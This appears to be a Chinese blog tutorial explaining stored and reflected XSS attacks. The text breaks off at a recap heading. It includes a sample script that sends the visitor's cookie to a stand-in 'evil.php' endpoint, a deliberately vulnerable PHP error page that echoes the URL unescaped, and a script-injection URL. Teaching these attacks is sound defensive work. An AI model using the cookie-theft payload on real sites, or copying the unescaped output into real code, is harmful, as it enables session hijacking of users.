web安全之xss攻击

arthur

于 2018-11-27 14:06:48 发布

阅读量416

点赞数 1

分类专栏： python 开发

本文链接：https://blog.csdn.net/chen__an/article/details/84564884

版权

python 开发专栏收录该内容

17 篇文章 0 订阅

订阅专栏

XSS攻击是Cross-Site Scripting的一种注入式攻击，通过注入恶意代码到目标网站，利用浏览器执行来窃取用户信息。主要分为持久化XSS和非持久化XSS。持久化XSS涉及攻击者将恶意脚本存储在数据库中，诱导用户访问含有恶意代码的页面，从而获取用户cookie。而非持久化XSS则不需存储，通过构造特定URL使用户触发执行恶意脚本，导致信息泄漏。

摘要由CSDN通过智能技术生成

xss攻击的全称是Cross-Site Scripting (XSS)攻击，是一种注入式攻击。基本的做法是把恶意代码注入到目标网站。由于浏览器在打开目标网站的时候并不知道哪些脚本是恶意的，所以浏览器会无差别执行恶意脚本，从而导致用户信息和一些敏感信息被盗取和泄漏。

xss一般分为两种类型，持久化的xss和非持久化的xss。

持久化xss

下面这个例子演示了攻击者如何通过注入恶意代码去盗取用户的cookie的。

假设攻击者在某个论坛发了个帖子，在帖子里包含了如下的恶意代码

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

那么其他用户在浏览这个帖子的时候，上面的代码就会被浏览器执行，从而将用户的cookie信息发送到了/evil.php?，这个攻击者搭建的恶意站点。由于cookie里包含了用户的一些登录态和敏感信息，所以访问这个帖子的用户会面临被盗号的风险。

还原一下这次攻击的过程

攻击者在论坛发了包含恶意代码的帖子
一般来说这个帖子的内容会保存在数据库里(持久化)
攻击者诱导其他用户去访问这个帖子
其他用户访问该帖子时网站后台会从数据库里读取帖子的内容并发送给浏览器
浏览器渲染帖子的内容时执行了恶意脚本
恶意脚本将用户的cookie偷偷发送给恶意网站evil.php

非持久化的xss

上面的例子攻击代码持久化在了数据库里，非持久化的攻击则不需要这样，看下面的例子。

假设我们有这样的一个错误页面，用php实现的

<html>
<body>

<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>

当用户访问的页面不存在时候，上面的页面会自动加载，并且print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);这一行会打印出不存在页面的具体url。

举个例子，当用户访问www.example.com/page_missing页面时，由于page_missing页面不存在，所以example.com会自动跳转到page_missing路径，并在页面上打印出Not found: page_missing字符串。

如果攻击者构造了这样一个链接，诱导用户访问http://wwww.example.com/<script>alert("TEST");</script>，那么普通用户访问该链接时，因为/<script>alert("TEST");</script>会被打印在页面上并当作普通脚本执行，这样一来，如果攻击者构造的脚本里包含获取用户敏感信息的代码，那么用户的信息将被泄漏。

还原一下这次攻击的过程